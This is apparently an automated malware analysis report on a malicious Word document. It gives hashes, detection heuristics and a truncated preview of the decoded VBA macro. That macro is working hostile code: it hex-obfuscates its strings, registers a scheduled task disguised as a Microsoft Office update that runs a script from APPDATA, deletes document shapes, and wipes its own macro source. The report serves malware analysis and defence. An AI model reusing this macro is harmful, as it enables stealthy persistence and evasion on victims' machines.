Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 71d8407e948e2c2a…

MALICIOUS

Office (OLE)

178.0 KB Created: 2019-02-11 16:20:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 35be4860a6ea917a9f680f5d2faaa2e2 SHA-1: b388b2219886f871ac9251cf03b20d56d32aa85e SHA-256: 71d8407e948e2c2a14725196ed1786697e86bbc0cd7f71fd9d35cb13df3b28fd
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1140 Deobfuscate/Decode Files or Information

The sample contains a highly obfuscated VBA macro that utilizes `CreateObject` to instantiate `WScript.Shell`. This script is designed to delete existing shapes and inline shapes within the document, likely to clear the way for malicious content or to prevent analysis. It then proceeds to create and schedule a task using `schtasks.exe`, with a description indicating an 'MS Office Update Utility', suggesting a pretext for malicious activity. The use of `CreateObject` and the scheduling of a task point towards a downloader or dropper functionality.

Heuristics 9

  • ClamAV: Doc.Malware.Valyria-6923224-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-6923224-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 97120 bytes
SHA-256: 0d679556225856b9d8261984d49f52cc92e85d721bad406f5c1d1c237bcf30f4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const hmyvhflrjm = 2
Const qdhkupmzdq = 1
Const onimhjfhlp = 0
Private Sub fkrcypfeznh()
Dim opwafqhaagvdd As Word.Document
Dim rng As Word.Range
Dim shp As Word.Shape
Dim iShp As Word.InlineShape
Set opwafqhaagvdd = ActiveDocument
For Each shp In opwafqhaagvdd.Shapes
shp.Delete
Next
For Each iShp In opwafqhaagvdd.InlineShapes
iShp.Delete
Next
End Sub
Private Sub cjvzwdxsz()
Do
fkrcypfeznh
Loop While ActiveDocument.Shapes.Count > 0
End Sub
Private Sub xppuqyag()
Const keiqjxtvlasnmsaa = 1
Const wptygoesnkdkukyxjgva = 0
Set fdqbxkrzxcobq = CreateObject(pmrwxcgsnbay("5363686564756c652e") & pmrwxcgsnbay("53657276696365"))
Call fdqbxkrzxcobq.Connect
Dim czczbmnqdxzmjzyidoe
Set czczbmnqdxzmjzyidoe = fdqbxkrzxcobq.GetFolder(pmrwxcgsnbay("5c"))
Dim imkjnnmftdohnvkbypds
Set imkjnnmftdohnvkbypds = fdqbxkrzxcobq.NewTask(0)
Dim bcohkwcuswobrrpsz
Set bcohkwcuswobrrpsz = imkjnnmftdohnvkbypds.RegistrationInfo
bcohkwcuswobrrpsz.Description = pmrwxcgsnbay("4d53204f666669636520557064") & pmrwxcgsnbay("617465205574696c697479")
bcohkwcuswobrrpsz.Author = pmrwxcgsnbay("4d6963726f736f667420436f72") & pmrwxcgsnbay("706f726174696f6e")
Dim pjsfcotaidgxky
Set pjsfcotaidgxky = imkjnnmftdohnvkbypds.principal
pjsfcotaidgxky.LogonType = 3
Dim apumkmmpwk
Set apumkmmpwk = imkjnnmftdohnvkbypds.settings
apumkmmpwk.Enabled = True
apumkmmpwk.StartWhenAvailable = True
apumkmmpwk.Hidden = False
Dim dnyrswgv
Set dnyrswgv = imkjnnmftdohnvkbypds.triggers
Dim mvdrgvclbjxk
Set mvdrgvclbjxk = dnyrswgv.Create(keiqjxtvlasnmsaa)
Dim startTime
Dim endTime
Dim time
time = DateAdd(pmrwxcgsnbay("73"), 30, Now)
startTime = fpmzbhvagzhbagrm(time)
time = DateAdd(pmrwxcgsnbay("6e"), 50, Now)
endTime = fpmzbhvagzhbagrm(time)
mvdrgvclbjxk.StartBoundary = startTime
mvdrgvclbjxk.EndBoundary = endTime
mvdrgvclbjxk.ExecutionTimeLimit = pmrwxcgsnbay("5054") & pmrwxcgsnbay("35304d")
mvdrgvclbjxk.ID = pmrwxcgsnbay("54696d65547269") & pmrwxcgsnbay("676765724964")
mvdrgvclbjxk.Enabled = True
Dim uuyowugcyyorjnzkd
Set uuyowugcyyorjnzkd = imkjnnmftdohnvkbypds.Actions.Create(wptygoesnkdkukyxjgva)
uuyowugcyyorjnzkd.Path = Environ("APPDATA") & "\Microsoft\Office\MSO1038.js"
Call czczbmnqdxzmjzyidoe.RegisterTaskDefinition( _
pmrwxcgsnbay("4f6666") & pmrwxcgsnbay("69636520557064617465"), imkjnnmftdohnvkbypds, 6, , , 3)
End Sub
Function fpmzbhvagzhbagrm(t)
Dim cSecond
Dim cMinute
Dim CHour
Dim cDay
Dim cMonth
Dim cYear
Dim tTime
Dim tDate
cSecond = pmrwxcgsnbay("30") & Second(t)
cMinute = pmrwxcgsnbay("30") & Minute(t)
CHour = pmrwxcgsnbay("30") & Hour(t)
cDay = pmrwxcgsnbay("30") & Day(t)
cMonth = pmrwxcgsnbay("30") & Month(t)
cYear = Year(t)
tTime = Right(CHour, hmyvhflrjm) & pmrwxcgsnbay("3a") & Right(cMinute, hmyvhflrjm) & _
pmrwxcgsnbay("3a") & Right(cSecond, hmyvhflrjm)
tDate = cYear & pmrwxcgsnbay("2d") & Right(cMonth, hmyvhflrjm) & pmrwxcgsnbay("2d") & Right(cDay, hmyvhflrjm)
fpmzbhvagzhbagrm = tDate & pmrwxcgsnbay("54") & tTime
End Function
Private Sub dceyowrboml()
Set jyzongljrfwdphzr = ActiveDocument.Content
With jyzongljrfwdphzr.Font
.Name = pmrwxcgsnbay("417269") & pmrwxcgsnbay("616c")
End With
End Sub
Private Function bufviaexnjhz() As Boolean
Dim bwojynsqdlfrc As String, WDDoc As Document
With ActiveDocument
With .VBProject
For Each asd In .VBComponents
With asd.CodeModule
.DeleteLines qdhkupmzdq, .CountOfLines
End With
Next
End With
With .VBProject.VBComponents.Item(pmrwxcgsnbay("5468") & pmrwxcgsnbay("6973446f63756d656e74")).CodeModule
.InsertLines qdhkupmzdq, pmrwxcgsnbay("537562") & pmrwxcgsnbay("204175746f4f70656e2829")
.InsertLines hmyvhflrjm, pmrwxcgsnbay("456e64") & pmrwxcgsnbay("20537562")
End With
.Save
End With
End Function
Private Sub jxuhvurwz()
kmytqfxdlnvbx Environ("APPDATA") 
... (truncated)